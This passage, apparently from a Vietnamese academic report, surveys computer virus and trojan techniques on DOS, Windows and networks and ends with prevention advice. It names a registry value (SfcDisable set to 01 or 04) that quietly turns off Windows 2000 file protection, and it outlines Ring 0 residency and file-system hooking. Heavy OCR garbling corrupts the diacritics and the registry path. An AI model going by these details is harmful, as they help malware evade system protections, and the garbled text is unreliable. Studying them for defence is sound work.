nhd, phan chuong trinh nay méi duge ma hoa ngugce lai (giai ma). Ky thuat ma
hoa thuong dung chi st dung két qua ctia 1énh XOR. Tuy nhién, mdt 1an nita ma
hoa ciing khong lam cac nha chéng Virus nan long nén khuynh huéng cua Virus
hién nay 1a ma hod thanh ting ‘tang’, ‘tang’ nay giai ma cho tang k& nd va
‘khod’ ctia moi phan tuy thuoc vao thoi gian lay lan (nghia 1a véi céc file duoc
lay & nhitng thoi diém khdc nhau, phdn ma cling khac nhau).

Cac ky thuat khac.

Dinh vi chuong trinh.

D6i v6i nhitng F- Virus dp dung k§ thuat 1ay chén ddukhong gédp phai nhitng rac

r6i nay (nhung nhuoc diém cta né 1a chi lay theo dang nay duoc trén file .COM).

Tuy nhién nhiing F- Virus dung phuong phdp Append file thi lai gap ric réi do viéc

dinh vi nhitng bién noi tai trong chuong trinh Virus vi r6 rang offset ciia né khong

xdc dinh mot cach tuyét d6i ma phu thudc vao kich thudc file nd ‘gan’ vao. Cac

cach dé giai quyét trudng hop nay la:
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- Dinh vi tuong doi: chuong trinh Virus s€ dinh vi offset cia n6é trong moi file
theo dau vao Virus hon la tir PSP tré di. Nghia 1a moi tac vu truy xuét bién noi
tai cling dugc tinh tir ddu chuong trinh Virus. Diéu nay lai gay ling ting cho céc
nha san xudt phan mém khi F- Virus thuoc loai ndy xuét hién. Thong thudng dé
dinh vi dau vao chuong trinh Virus, Virus s&€ ddy offset k& ti€p vao trong stack
r6i 1y né ra bang mot 1énh POP, don gian 1ay gid tri nay vao trong mot thanh
ghi cho phép tham chié€u gian ti€p (SI, DI, BX,..), lic nay moi tham chiéu céc
bién ndi tai s€ theo thanh ghi nay.

Tuy nhién phuong phap nay lai lam cho mot s6 nguoi viét Virus khé chiu khi

viéc dinh vi tuong doi nay ‘chi€m’ mat mdt thanh ghi. Do d6, mdt cach khac

dugc néu ra nham khéic phuc trudng hop nay.

- Dinh vi tuyét doi bing cach thay doi CS:IP
Sau khi duoc trao quyén diéu khién, chuong trinh Virus c6 thé chiém va luu tri
mot ving nhé, chuyén chuong trinh sang ving nay theo offset tuy chon (thudng
12 0,0100H) réi chuyén quyén diéu khién sang viing mdi tao ndy.

e Ky thuat 14y ngat.
Khong nhu B- Virus, s6 lugng it va ciing ¢6 it khi ton tai qua nhiéu loai trong viing
nhG, F- Virus c6 thé ton tai dong thoi nhiéu loai trong viing nhé. Va thudng chi phoi
ngat 21H. Mot qui luat trong mdy tinh: quyén lgi thudc vé nhitng phAn mém nao chi
ph6i mdy trude tién, nhitng chuong trinh Virus 1én sau sé khong con cdi quyén wu
tién 4y nita. Mat khdc, mot phan mém chong Virus dang thudng tri cling c6 thé ghi
lén trudc hét va chi phoi ngat 21H, bat ky mot 10i goi md, doc, ghi file déu dugc né
kiém tra chit ché.

Liic nay van dé song con dat ra 1a 1am sao chiém cho dugc ngit 21H ‘chudn’ ctia
DOS.

C6 mot vai cdch dé 1ay dugc ngat 21H nay, trong d6, c6 mot cdch 13 thong qua
ngat 1h va 3h, hay tu dinh vi tuyét d6i nhu & mot phdn mém chéng Virus. Tuy
nhién nhiing cac c6 duoc van khong thuyét phuc dugc nhitng nha 1y thuyét vi trong
thuc t€ kha nang khong dat duoc c6 thé cao.
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B. Cac Virus file trén moi truong windows.

Phan nay s€ phan tich cong nghé cua cac Virus file hoat dong trén moi truong
Win32.

DPoi tuong lay nhiém va moi truong hoat dong.

Moi truong thay doi hdu hét so véi moi trudng DOS, nhét 1a & mot s6 thay thé co
ban: cidc API thay thé€ cho cdc ngat, xuat phat tir su thay thé cac thanh ghi 16 bit
va offset thanh 32 bit.

- Nhitng thay déi gitta cong nghé 1ap trinh 16 bit va 32 bit:
Lam viéc v6i céc tu kép (Dword) thay vi cac tir (Word), cling c6 thém hai thanh ghi
doan FS va GS, b6 sung cho 4 thanh ghi doan CS, DS, ES, SS. Chiing ta ciing c6 thé
sir dung cac thanh ghi 32 bit méi: EAX, EBX, ECX, EDX, ESI, EDI, EBP va ESP.
- C4c vong (rings):
La mot co ché bao vé Windows sir dung, & day chi néu nhitng diém chinh yéu. Bo
vi xtt 1y ¢6 4 mic dac quyén Ring 0, Ring 1, Ring 2 va Ring 3. Céc Virus thudng
chi quan tam dén muc 3 va 0.
+ Ring 3 con goi 1a mitc nguoi st dung, trong dé ¢6 rat nhiéu han ché déi véi cac
chuong trinh.
+ Ring 0 hoan toan khac vé6i Ring 3, trong d6 Windows luu giit phan ma 1énh hat
nhan cua né. Nhitng chuong trinh ti€én hanh & muc nay khong bi han ché nhu & miic
nguoi stt dung.
Mot s6 thong tin k¥ thuat co ban:
+ Selector: 1a mot doan rat 16n, va la dang cua bd nhé dudi Win32, con duoc goi la
viing nhé phang (Flat Memory). Chuong trinh c6 thé truy nhap truc tiép t6i 4 GB bo
nhd, bang cach sir dung dia chi offset 32 bit.
+ Cau tric cac file thi hanh trén Windows:

Windows c6 cic dang file thi hanh riéng, c6 thé chi ra mot s6 dang sau: NE
(NewExecutable), LE (LinearExecutable), PE (Portable executable), VxD (Virtual

Driver)....
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2. Phan tich cac ky thuat cua Virus file trén Windows.
a. Ky thuat lay nhiém.
St dung cac cong nghé nhu F-Virus trén moi truong DOS da duge phan tich & trén.

C6 mot so cong nghé dac biét, doi pho v6i nhitng co ché bao vé cua hé diéu hanh
m&i. Vi du co ché bao vé cia Windows 2000:

Windows 2000 st dung mot co ché bao vé, ngan chin su thay thé hay sira doi
cac file duoc bao vé goi la SystemFileProtect (SFP). Néu mot Virus file 1ay nhiém
trén mot may tinh st dung Windows 2000, mot hop thoai s€ xuét hién va thong bao
la file bi thay thé.

Windows 2000 luu git mot danh sach céc file hé thong duogc bao vé va s€ huy
bo bt cit su thay thé hay st doi trong khi thong bao trén dugc hién thi.

Hé thong bao vé nay c6 thé bi loai bd, bang cich thay thé mot khod trong
registry ciia may tinh, luu gi cdu hinh cua hé thong bao vé:

HKEY_LOCAL_MACHINE

\SOFTWAREWMicrosof\Windows N'T\Current Versiom\Winlogon

SfcBugcheck
SfcDisable
SfcQuota
SfcScan

Virus c6 thé sira gid tri khéa SfcDisable thanh TRUE (01), va & 14n khoi dong
sau, hé thong bao vé s€ bi vo hiéu hod. Tuy nhién, hé di€u hanh lai thong bao véi
ngudi dung vé viéc SFP bi vo hiéu hod, va trong phién lam viéc sau d6, hé thong sé
cho phép SFP hoat dong trd lai. C6 thé sur dung mot gid tri khdc (04) thay cho 01,
khi d6, Windows 2000 s& khong thong bao vé su thay déi ch€ do bao vé nhung van
cho phép SFP hoat dong tr& lai trong phién lam viéc sau.

Mot gidi phdp tam thoi c6 thé sir dung 1a khong lay nhiém cic file duogc
Windows 2000 bao vé. Sir dung ham API SfclsFileProtected, ta c6 thé xac dinh mot
file c6 dugc hé diéu hanh bao vé hay khong:

If (SfcisFileProtected(NULL,szFileName)==0)

printf(“file khong duoc bao vé \n”);

else
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printf(“file dugc bao vé \n”);
b. K§ thuat kiém tra su ton tai.
- Kiém tra trén bo nhé (doi v6i nhitng Virus thudng tri):

Van st dung cac phuong phap nhu Virus file trén moi truong DOS, ngoai ra c6
mot s6 Virus st dung cac cong nghé dac biét khong thong dung, vi du nhu CIH st
dung thanh ghi g& r6i Cr3 dé kiém tra su ton tai trén bo nhd.

Nhitng k§ thuat dung lai ciing dugc thiét k& dé 1am viéc v6i mo hinh t6 chic bo
nhé méi.

- Kiém tra trén file: van sir dung phuong phédp nhu Virus file trén moi truong DOS.
c. Ky thuat su dung Structured exception Handling (SHE).

Win32 chay trong ché do bao vé (PM), trong d6 cac trang bo nhG c6 thudc tinh
riéng, vi du nhu thuoc tinh cho phép doc, cho phép ghi va mdi khi mot chuong trinh
thuc hién mot tdc vu vuot qua thudc tinh cua trang, mot 16i exception s& xuat hién
va khung SHE cua hé diéu hanh sé€ duoc sur dung. Thu tuc nay sé€ thong bdo 16i da
xay ra va cung cdp mot s6 thong tin phuc vu cho viéc g& réi chuong trinh nhu dia
chi IP cua Iénh gay ra 16i.

d. K¥ thuat dinh vi.

Van st dung céc phuong phdp nhu Virus file trén moi truong DOS, chuyén tir viéc
str dung cédc thanh ghi va ch€ do dia chi 16 bit sang 32 bit.

e. Cong nghé thuong trua.

Nhu da phan tich & trén, mot Virus ¢ thé thi hanh & mic ngudi dung (ring 3) hay
muc hé thong (ring 0), cadc cong nghé thuodng trd ciing chia thanh 2 phan: thuong tra
6 muc nguoi dung va thuong trd & mic hé thong.

- Thudng trd ¢ mic ngudi dung:

Ring 3 bi han ché va ngan cdm ti€n hanh nhiéu tac vu, tuy nhién thiét k& Virus trén
Ring 3 s& c¢6 kha nang tuong thich véi nhi€u moi truong Win32 nhu Windows
95/98, Windows NT.

Tru6c hét dé c6 thé sir dung cdc API co s& ma hé diéu hanh cung cdp, Virus phai
tim duoc dia chi co s& cua thu vien KERNEL32.
- Thuong tri & muc hé thong:
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C6 thé dua ra céc budc dé tién hanh thuong tri ¢ Ring 0 nhu sau:
e Kiém tra hé¢ diéu hanh: néu 12 Windows NT, dimg lai va tra quyén diéu khién
cho chuong trinh chu.
e Chuyén t6i Ring 0
e Thi hanh ngét, chita doan ma Virus.
+ Phan pho6i viing nhd dé thudng trd (phan phoéi cac trang trén heap).
+ Chuyén chuong trinh Virus lén viing nhé méi.
+ Chan FileSystem va luu thu tuc xt 1y cii:
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ChZn file system <

v

Luu tat ca cac thanh
ghi va diéu chinh
ESP

v

Luu cdc tham sO

Y

Yéu cau mé
file?

Chuyén tén file
sang dang ASCIIZ

Y

MG file va lay nhiém

v

Goi thu tuc xu ly cii

v

Pé tat ca cac tham so
tra vé trong ESP

!

Tra vé
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f.

+ Tro ve.

Dit lai vector ngét cii

Tra quyén diéu khién cho chuong trinh chu.
Ky thuat tim kiém file doi tuong.

Tuong tu nhu Virus file trén moi truong DOS, c6 hai k§ thuat tim kiém file doi

tuong.

h.

Doi véi cac Virus thuong tra.

K§ thuat chi€m ngat dudi DOS duoc thay th€ boi mot loat cdc ky thuat tién hanh
kiém sodt cdc tac vu trén file. Mdi khi phdt hién céc tic vu nay, Virus sé tién
hanh kiém tra dé lay nhiém.

Doi véi cac Virus khong thuong tru:

Tién hanh céac thao tac tim ki€m trén thu muc dua trén cic ham API (ring 3) hay

trén cac dich vu duc cac VxD ctia hé thong cung cap (ring0).

. K¥ thuat tao ao giap.

Choéng dich nguoc:

Ciing giong nhu véi cdc Virus DOS nhung c6 thay thé dé phu hop sir dung cdc
thanh ghi 32 bit va thay thé cdc ngét bang cdc API va dich vu VxD.

Chong debug

Ky thuat nguy trang.

Str dung céc ky thuat twong tu nhu Virus trén DOS vé y tudng, nhung thay doi vé
chi tiét ky thuat phtt hgp v6i moi truong Windows.

i.

Ky thuat chong mé phong.

Cai ti€n cac ky thuat da dugc st dung trong Virus file trén DOS cho phu hop véi

moi truong maéi. Ngoai ra con sit dung mot s6 ky thuat méi:

Str dung SHE dé gay 16i cho qué trinh mo6 phong.
St dung Thread dé che dau Virus khong bi chuong trinh mo phong theo doi.

Va con rat nhiéu k¥ thuat khéc nita..
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IV.PHAN TICH KY THUAT VIRUS TREN MANG
1. Lay nhiém trén mang cuc bo (LAN).

Cong nghé lay nhiém trén mang LAN dua trén mot y tudng chinh: st dung su
tién loi trong lién hé giita cdc may tinh dé 1ay nhiém cdc chuong trinh tir xa.

C6 thé thdy rat nhiéu kha nang tan dung moi lién hé gifta cdc may tinh trong
mang cuc bo:

- Quét mot khoang IP nao d6 dé tim ki€ém mot s6 dich vu nhu NETBIOS, FTP hay
bat ctt dich vu nao cho phép truy nhap may tinh tir xa.

- Lién hé v6i cac Virus trén cac hé thong khac nhau.

- Dénh cip cdc mat khau ciling nhu cdc thong tin khac trén cdc mdy tinh & xa.

2. Internet.

D6i v6i cac Virus, c6 thé coi Internet nhue mot mang LAN I6n, trong d6 c6 mot
diém thuan loi: cdc may tinh c6 thé & rat xa nhau vé mit dia 1y. Diém d6 cho phép
céc Virus c6 thé lan truyén khap thé gidi.

Sau day ta s&€ xem xét mot sO loai Virus dién hinh hay dugc st dung trén
Internet.

Ngua trojan la loai thuong gap nhat trén Internet.

e Thé nao la trojan?
Trojan la:

+ Mot chuong trinh bat hop phap duoc chita bén trong mot chuong trinh hop
phdp. Chuong trinh khong hop phdp nay thuc hién nhitng ham bi mat ma nguoi
dung khong biét hay khong can dén.

+ Trojan ciing ¢6 thé dugc 1a mot cong cu quan tri tir xa.

+ Trojan ¢6 tén tr mot cau chuyén than thoai cii vé nhiing ngudi Hi Lap trong
thoi gian chién tranh, ho da tang cho ké thu ciia minh mot con ngua gb khéng 16.
Nhiing chién binh thanh Trojan da nhan con ngua gé va dem vao thanh, dém d6
nhiing chié€n binh Hi Lap da tir bung ngua xong ra lam co6 thanh Trojan va tén con
ngua nay dugc dat cho loai Virus nay.

e Trojan ngay nay.

- Ngay nay, Trojan luon 1a van dé 16n trong bdo mat va an toan trén mang.
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Nhiéu ngudi khong biét Trojan 1a gi va ho tai xuéng nhiing file khong ré nguén
goc.

Hién nay c6 khoang hon 1000 Trojan d6 1a con s6 chua chinh x4c cé 1€ con
nhiéu hon thé€. Bbi vi méi Hacker, 1ap trinh vién hay méi nhém hacker déu cé
thé viét Trojan cho riéng minh va khong cong b né trén mang cho dén khi né bi
phéat hién.

Khi mot ngudi nao dé bat dau hoc “Winsock”, ddu tién ho tao ra mot chuong
trinh chat hay mot con Trojan. Tham chi mot chuyén vién antivirus ciing c6 thé
bi nhiém Trojan cta minh.

Chuong trinh chong virus.

nhiéu nguodi nghi rang ho ¢6 mot chuong trinh quét virus tot va ¢4 ban cap nhat
m&i nhét thi ho s& an toan, may ho s& khong bi nhiém Trojan hay khong ai c6
thé truy cap mdy tinh cia minh. Diéu nay hoan toan sai, muc dich ctia nhiing cta
nhitng chuyén vién vi€t chuong trinh chong virus 1a phat hién ra nhitng virus méi
chit khong phai 1a nhitng con Trojan. Nhung khi nhitng Trojan dugc nhiéu nguoi
bié€t dén thi nhitng chuyén vién chong virus s€ nap thém né vao trong chuong
trinh quét ctia minh, va 1000 Trojan da biét 1a qua it, chi mot phan rit nho ma
nhitng chuyén vién antivirus phét hién dugc.

Nhitng chuong trinh quét virus nay khong phai la firewalls, né s€ khong phat
hién ra Trojan va bao vé ban trong khi ban 1én mang, bdi vi Trojan 1a chuong
trinh dot nhap.

C6 vai cong cu dac biét trén mang s€ quét sach nhitng con Trojan dugc cong bo,
do d6 nguoi dung nghi rang minh duoc bao vé k§ cang truéc Trojan.

Toi bi nhiém Trojan nhu thé nao?

Moi nguoi hoi cau hoi nay va moi ngudi cling ¢d gang tu tim cho minh cau tra

10i nhung hau hét ho déu bé tac. Boi vi khi mot chuyén vién hdi ban ¢6 tai xudng,
hay chép file tur dau d6 khong thi 90% tra 16i la khong, nhung thuc su ho da lam

diéu d6 tir vai ngay trudc.

Ching ta c6 thé bi nhiém Trojan tir rdt nhiéu nguén sau day 1a mot so vi du:
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- Tur ICQ: moi ngudi nghi ring Trojan khong thé lay lan trong khi ho dang néi
chuyén trén ICQ nhung ho quén 12 ngudi dang néi chuyén c6 thé giri cho ho mot
chd Trojan. C6 thé ¢6 mot bug ICQ cho phép gui mot file .exe t6i ngudi do
nhung nguoi nhan thi nhan dugc mot file hinh anh hoac am thanh...vi du cé
ngudi nao d6 s& thay doi bi€u tugng cua file .exe thanh .bmp va néi véi ngudi
kia rang day 1a hinh cta anh ta. Nguoi kia s&€ download va s& bi dinh Trojan.

- Tu IRC: cling gidong nhu trén vay.

- Tir mail: da s6 cdc Trojan duoc lay lan bang mail va t6c do lay lan clia né rat
nhanh. Mot cach don gian va thuong dung la Trojan s€ 1ay dia chi mail trong
adress book dé phat tan cho nhitng ngudi ban ctia ngudi nhan Trojan.

- Truy cap truc tiép: mot nguoi nao do chay truc ti€p mot con Trojan trén may tinh
ctia minh

- Khi download tai liéu trén mang c6 thé tai liéu da dinh mot con Trojan.

e Trojan nguy hi€ém nhu thé nao?

Nhiéu ngudi, khong biét Trojan nghi rang khi chay chiing, ho khong thdy diéu gi

xdy ra, va ho nghi ring Trojan khong c6 gi nguy hiém, bdi vi mdy tinh van lam viéc

va dir liéu van con, néu 1a mot con Virus thi moi chuyén da khac.. Khi mdy tinh bi
nhiém Trojan, tat ca dit liéu trén may déu c6 thé bi nguy hiém, nghia 1a mot ngudi
nao d6 da dot nhap tir xa vao mdy tinh nay, ngudi ndy c6 thé xod dit liéu trén may,

néu 1a chuyén nghiép ho s& chép dit liéu vé dé khai thac va trong do c6 ca nhing di

liu quan trong, c6 thé nhitng ngudi nay st dung Trojan dé cam Virus pha hoai 1én

mdy chang han CIH.

e (4c loai Trojan:

C6 rét nhi€u Trojan, nhung cht yéu né dugc chia ra lam cdc dang can ban sau:

- Trojan ding dé truy cap tir xa: hién nay, Trojan loai nay dugc stt dung réat nhiéu.
Chiic nang chinh ctia Trojan nay 1a m& mot céng trén mdy nan nhan dé hacker
c6 thé dot nhap vao. Nhiing con Trojan nay rit dé sit dung chi cin nan nhan bi
nhiém Trojan va Hacker c¢6 IP cuia nan nhan thi da c6 thé truy cap toan quyén

trén may nan nhan.
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Keylogger: n6 ghi lai tat ca hanh dong trén ban phim roi gui vé cho hacker khi
may bi nhiém online.

Trojan 14y mat khau: Doc tat ca mat khiu luu trong cache va thong tin vé mdy bi
nhiém roi glri v€ cho hacker méi khi may bi nhiém online.

Trojan pha huy: loai nay chi ¢c6 mot nhiém vu duy nhat 1a pha huy toan bo dit
liéu trén mady nhiém.

FTP Trojan: loai ndy m& cong 21 trén mdy nhiém va dé cho tat ca moi ngudi két
n6i dén mdy tinh nay khong cin mat khau ho s€ toan quyén tai bat ky dit lieu
nao.

Trojan hoat dong nhu thé nao?

Khi nan nhan chay file nhiém Trojan, néu la Trojan truy cap tir xa (remote access),

file server sé luon & ch€ do cho. N6 s€ cho cho dén khi nhan duoc tin hiéu cta

client, ngay 1ap tiic n6 s&€ m& mot cong nao do dé hacker c6 thé dot nhap vao. N6 c6
thé sit dung TCP hay nghi thitc UPD. Mot s6 Trojan duoc nap ngay khi Windows

duoc khdi dong bang cach stra file win.ini, system.ini hay stra registry.

K§ thuat Trojan str dung:

Dua trén mot hé thong thu dién tir dé sinh ra va glri thong diép st dung cidc ham
MAPI. Ky thuat nay dua trén viéc st dung cdc ham MAPI trong thu vién
MAPI32.DLL, nhu MAPILogon, MAPISendMail, MAPISenDocuments,..

St dung ham WINSOCK, cac ham API nhu socket, connect, recv,.. trong thu
vién WINSOCK32.DLL.

+ Tao cdc cong nghe doi sin (listen port), cdc 1énh c6 thé chi thi cho Trojan tién
hanh cac hoat dong pha hoai hay do tham: gui file thuc thi cho mdy can lay
nhiém dé€ 1ay trom céc mat khau, khoi dong lai hay phd huy hé thong.

+ Tan cong theo phuong phap tir chdi dich vu (DOS — Denial of Service s& xét
tGi phuong phdap nay sau): mot Trojan tao cic két noi t6i mot may chua
HTTP/FTP nao do6 va dé ching md. Néu ¢6 nhiéu ngudi sit dung bi lay nhiém
Trojan, s6 két ndi ¢6 thé vuot qua so luong t6i da ma may chi cung cap. Trojan

ciing c6 thé lién tiép gl cdc thong diép dén mdy chi dé gay qud tai hoat dong,
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gy ra nhiing hau qua nghiém trong cho cac giao dich trén mang va dit liéu trén
may chu.

+ Lay nhiém bang két noi dén nhitng cong dic biét trén cdc may chi va sur dung
giao thic IRC (Internet Relay Chat protocol).

+ Cho phép céc két n6i trén mot cong nao do, sau dé dinh hudng lai dén mot
mady/cong khac.

+ Tién hanh cédc hoat dong khac trén mang, sit dung dia chi cua nguoi khac, thay
vi str dung dia chi cta hacker.

K§ thuat chan cdc ham API ho tro mang: k§ thuat nay cho phép chan cidc ham
API h6 trg mang, vi du nhu ham connect trong thu viéen WINSOCK32.DLL. Khi
nhan dugc quyén diéu khién, Trojan ki€ém tra cong két noi, néu 1a cong 25
(SMTP) thi ¢6 thé tién hanh phan phéi thu dién tir c6 gan Trojan do d6 sé ti€p
tuc lay nhiém cac may khac. Ngoai cong 25, ciing c6 thé sir dung cdc cong khac.
VD v6i céng 21 (FTP), Trojan c6 thé tién hanh glti mot file da lay nhiém lén thu
muc noi dén tai may chii ma ngudi sir dung két n6i t6i. Céng 80 (HTTP)ciing c6
thé sir dung tuong tu.

K§ thuat diéu khién tir xa: mot k§ thuat cao cap, ¢ thé thiét k& véi mot Trojan.
Thuong co6 2 file:

+ File thit nhat -SERVER- hoat dong nhu mot tng dung chu, va d6 1a phan gbi

cho mdy can lay nhiém. Phan nay sé cho ménh 1énh tir chuong trinh CLIENT.

+ File thtt hai — CLIENT- hoat dong nhu mot ing dung khéch, 1a chuong trinh

ma ta st dung dé diéu khién SERVER mo cong.

V.MAT MA VA VIRUS.

Chiing ta da nghién cttu vé cdc loai virus va cac phuong phép lay nhiém, pha hoai

cua céc ho Virus dién hinh. Cau hoi dit ra 1a c6 thé sir dung mat ma dé phat hién va

phong chong virus khong?

1. Mat ma trong van dé phat hién, phong chéng Virus

Khi mdy tinh bi nhiém virus, dit liéu trong mdy tinh s& ¢ thé bi phd hoai. D6i

v6i virus Boot, khi nhiém nhe thi khéi dong cham, niang nhét 1a 6 ciing bi format va
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dit liéu trén dia hoan toan bi€n mat. Doi vé6i loai virus nay, mat ma khong cé kha
nang phat hién va phong chong, boi vi virus boot hoat dong ngay khi qua trinh khoi
dong mdy, truGe ldc hé thong nap hé di€u hanh, ma mat ma lai lam viéc & tang tng
dung (hoic mot so tang kh4c) dua trén ting hé diéu hanh cu thé.

Déi véi virus file thuong chi lay nhiém vao file ¢6 phan mé rong la: .com, .exe,
Jbat, .doc, .xIs va mot s6 dit liéu khac, nén do6i véi nhitng file dit liéu ¢6 phan md&
rong khac nhiing phan mé rong trén thi khong bi 1lay nhiém. D6i véi loai virus nay
ma hoa file 1a mot cach phong chong kha hiéu qua, béi vi khi file dugc ma hod phan
md rong cula file sé khac vdi nhitng phdn m& rong ma virus file ¢6 thé 1lay nhiém
duoc.

Néu file da bi nhiém virus ma sau d6 ta ti€én hanh ma ho4 no thi ciing chi 1a ma
hoa file binh thuong va trong truong hop nay, mat ma khong c6 kha nang phat hién
va phong chong lai virus.

Xét vé€ khia canh phat hién virus, mat ma cting ¢6 mot phan kha nang phat hién,
d6 1a néu ta c6 mot file dit liéu da dugc ma hod, sau d6 file nay bi nhiém virus va
gui t6i nguoi nhan cudi, ngudi nhan nay ti€n hanh giai ma file va phat hién ra rang
qua trinh giai ma (hoac xac thuc) khong thanh cong, khi d6 budc ngudi dung phai
kiém tra lai thuat todn ma hod, khod mat ma, néu khong thdy c6 gi sai st thi c6 thé
1a file nhan dugc da bi nhi€ém virus (va bi sai léch dit liéu) hoac bi stta doi trai phép
trén duong truyén.

2. Phong chong Virus may tinh.

a. Phong chong Virus.

+ Hdu qud cua virus.

Hau hét cdc chuong trinh virus dugc viét ra chi nham muc dich phé hoai cdc hé
thong may tinh. Hau qua do céc virus gay nén doi khi rat nghiém trong. C6 thé anh
hudng rat 16n dén kinh t€, ca thé giéi may tinh da biét dén nhing virus ndi ti€ng nhu
CIH, Nimda, Klez, Red code,... Hoat dong pha hoai doi khi con gidn tiép gay tén
that tGi nhitng doi tac cia muc tiéu pha hoai, vi du khi thAm nhap vao co s¢ dit liéu
clia cac ngan hang, cac hé thong thanh todn truc tuyén. Ngay nay, dua vao cong
nghé hién dai con ngudi ¢ thé quan 1y tit ca bing mdy tinh, nhu mot bénh vién 16n

dugc quan 1y bang mdy tinh, nhu theo doi su song clia con nguoi & phong cip clu
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qua mdy tinh, diéu khi€én mé bang mdy tinh, n€u nhu mdy bi nhiém virus s& anh
hudng truc ti€p dén sinh mang ctia con ngudi. Nguy hiém hon néu cdc hé thong diéu
khién vii khi hat nhan cta cdc cudng quoc duoc diéu khién boi may tinh néu bi
nhiém virus c6 thé dan t6i diét vong ca thé gidi.

Internet ngay cang phat trién 12 mot diéu kién cuc ky thuén Igi cho céc virus phat
tdn. C4c virus lay lan qua mang c6 thé tién hanh cac hoat dong lay nhiém, pha hoai
trén mang lam gian doan viéc cung cap cac dich vu trén mang tham chi lam té liét
cac mdy chu. Mot s6 virus duoc cdc hacker diéu khién c6 kha ning theo doi, dot
nhap, 14y trom nhitng dit liéu quan trong ctia nguoi dung.

Do d6, viéc phong chdng su 1y lan cta virus 1a rat can thiét va quan trong, dac
biét 1a doi v6i cac hé thong mang, su ra doi cia cac chuong trinh phong chéng virus
12 khong thé thi€u. N6 gép phan nang cao do 6n dinh va tinh bao mat ctia hé thong,
dam bao hiéu suat lam viéc véi may tinh va mang.

+ Cdch thitc phong ,chong Virus

Virus may tinh dugc sinh ra tiing ngay, tham chi timg gio tir khip noi trén thé
giGi va ngay nay, hau hét moi ngudi duing may tinh déu c6 lién hé vé6i nhitng nguoi
khédc hoidc ddi tic qua mang bang thu dién tir hodc truy cap cic website,.. tom lai
con duong nay gidp cho virus lay lan mot cich nhanh chéng, mot cich khac cling
lam lay lan virus 1a tir cdc dia mém, dia CD, dia cting ding dé sao chép dit liéu tir
mdy nay qua may khac. Cic chuong trinh phin mém dugc phat tan trén mang,
khong ai dam bao ching khong cé Virus. Tuy vay cach phong va chong virus cling
khong kho khan va phic tap cho 1am. Chiu khé bo thoi gian ban ddu dé c¢6 dugc an
toan vé sau, day 1a nhiing viéc can lam:

- Canh gidc v6i Virus truéc khi chiing nhiém 1én hé théng bang cich quét
virus nhitng dit liéu dinh copy, download hay chays,..

- Hay mua, copy hay download trén mang nhitng chuong trinh phong chong
virus méi nhat manh nhét dé cai dat 1én hé thong ctia minh.

Mot chuong trinh chong virus dugc cai 1én may tinh khong bao gio dugc coi la
du. Phai can t6i 2, hoac 3 hay nhiéu hon cic chuong trinh cai 1én mdy. Luu y tai mot
thoi diém nhét dinh chi nén thudng tri mot chuong trinh, thinh thoang dung céc
chuong trinh khiac quét. Hay cap nhat thuong xuyén cac chuong trinh phong chong
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nay, lap lich quét dinh ky cho ching. Hay st dung cac chuong trinh diét virus manh
nhat hién cdé.

Hay canh gidc v6i moi thong tin 14y vé€ trén mang, virus ngay nay thudng phat
tdn qua duong email hdy quét virus trude khi doc thu.

Sao luu thuong xuyén: du dang dung mady tinh tai nha hay mdy tinh & noi lam
viéc, hay thuong xuyén sao luu hé thong phong khi moi bién phap ki€ém dich déu
khong ngan duogc virus.

Chi cho truy cap read only tir xa: moi tai nguyén trén mdy, ké ca 6 ciing 6 mém,
néu han ch€ viéc dung chung trén mang thi 1a t6t nhat. Néu bat budc phai chia sé,
hiy dé ché do read only dé dé phong viéc ghi, copy virus tir mang.

Néu mdy tinh khong thé thi€u viéc st dung email thi hay sir dung mot meo nho
trong khi thi€t 1ap cac chuong trinh Mail. Day la mot meo nho nhiing khong vat chat
nao vi noé giup tranh lay virus qua email khi may bi nhiém virus. Nhu da biét, nhiing
con sau (Worm) mot khi da nhiém vao may, né sé chui vao nhiing dia chi email
trong address book, tu nhan ban roi phat tan theo dudng email t6i nhiing may cé dia
chi trong address book. Meo sau day khong chi gitip cho mdy tinh trdanh bi nhiém
sau ma con gitip ngan chin viéc st dung address book dé lay tiép dong thoi né ciing
thong bdo 1én d€ ta biét may da bi nhiém virus. Day 1a nhiing diéu can 1am:

Dau tién, md Address book ra va click vao “new contact” nhu 1a mu6n thém mot
tén ma4i vao.

Trong ctra s6, thay vi d4nh tén, ta ddnh dong chit: 1000.

0O clra s6 bén dudi, thay vi gb email address hay gd vao dong chit sau: Wormalert.

Sau cung, click add, enter, ok...

Tén !000 sé dugc dat & phan dau tién ctia address book va né duoc danh s6 1a 1.
Day s& 1a “nguoi” ma Worm bat ddu lay. Nhung nguoi nay lai c6é dia chi email 1a
Wormalert, khong ding quy cdch din dén n6é khong thé giri cho ngudi ti€p theo
duoc, va nd dugc gt lai noi gii. Nhu vay, n€u nhan duoc mot mail néi rang “email
addressed to Wormalert could not be delivered”, thi ta két luan ring mdy da nhiém
Worm (vi du nhu Nimda, Klez,..)

b. Xu huéng phat trién ciia cac chuong trinh phong chong Virus.
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Cung véi su ra doi cua Virus mdy tinh, cdc phan mém phong chéng Virus ciling
duoc phat trién timg ngay. Cac chuong trinh phong chong Virus cho phép phat hién
va loai bo Virus ra khoéi doi tuong chu, khoi phuc chuong trinh ban dau. Mot so
chuong trinh cho phép gidm sat kiém tra hoat dong cuia hé théng, phat hién kip thoi
céc hoat dong cuia Virus dé€ ngudi dung c6 bién phap doi pho thich hop.

Cung v6i su phét trién ctia hé diéu hanh va cdc chuong trinh tng dung, cic loai
Virus ciing lién tuc phat trién vé ching loai va cong nghé, nhiéu cong nghé mdi
duoc dua ra, thich hgp véi moi truong méi dong thoi chong lai nhitng cong nghé ma
cac chuong trinh phong chong Virus sir dung dé phat hién va tiéu diét Virus.

C6 mot cudc chién tranh, khong ram ro, khong cong khai nhung khong kém phan
quyét liét va dai dang. D6 1a cuoc d6i dau gitta Virus tin hoc va cic chuong trinh
phong chong, hay néi cach khac, gita nhitng nguoi thi€t k€ Virus va nhitng nguoi
viét chuong trinh phong chong Virus (do6i khi ho 1a mot). Trong cudc dau tranh ay,
ca hai bén déu ra stic chay dua, nghién citu nhitng vii khi méi, nham gianh duoc loi
thé€ cho minh.

Do do, cdc chuong trinh phong chong Virus luon luon duge phat trién, vé cong
nghé cling nhu vé phuong thic tién hanh, dam bao ddp ting duoc yéu cdu ciing nhu
v€ phuong thic tién hanh, dam bao déap dng duogc yéu cau nhiém vu. Tuy nhién, tuy
theo tinh chuyén nghiép clia cdc cong ty phan mém, ciac chuong trinh diét Virus ctia
cac cong ty khac nhau c6 nhitng mat han ché khac nhau nhat dinh. Cho dén thoi
diém nay, tam thoi dua ra mot s6 nhan xét sau:

